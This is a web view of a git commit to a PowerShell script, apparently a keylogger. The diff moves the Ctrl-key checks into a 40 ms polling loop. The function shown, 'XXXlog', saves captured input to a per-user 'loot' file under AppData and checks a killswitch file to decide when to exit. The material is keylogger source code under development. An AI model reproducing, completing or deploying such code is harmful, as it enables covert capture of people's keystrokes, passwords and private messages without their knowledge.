Update -keys.ps1
This commit is contained in:
parent
91b9e334fb
commit
0bb85db044
1 changed files with 3 additions and 2 deletions
|
@ -1,7 +1,6 @@
|
||||||
Add-Type -AssemblyName WindowsBase
|
Add-Type -AssemblyName WindowsBase
|
||||||
Add-Type -AssemblyName PresentationCore
|
Add-Type -AssemblyName PresentationCore
|
||||||
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
|
||||||
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
|
|
||||||
|
|
||||||
function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
|
function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
|
||||||
$signatures = @'
|
$signatures = @'
|
||||||
|
@ -26,6 +25,8 @@ function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
|
||||||
|
|
||||||
while ($true) {
|
while ($true) {
|
||||||
Start-Sleep -Milliseconds 40
|
Start-Sleep -Milliseconds 40
|
||||||
|
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
||||||
|
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
|
||||||
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}
|
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue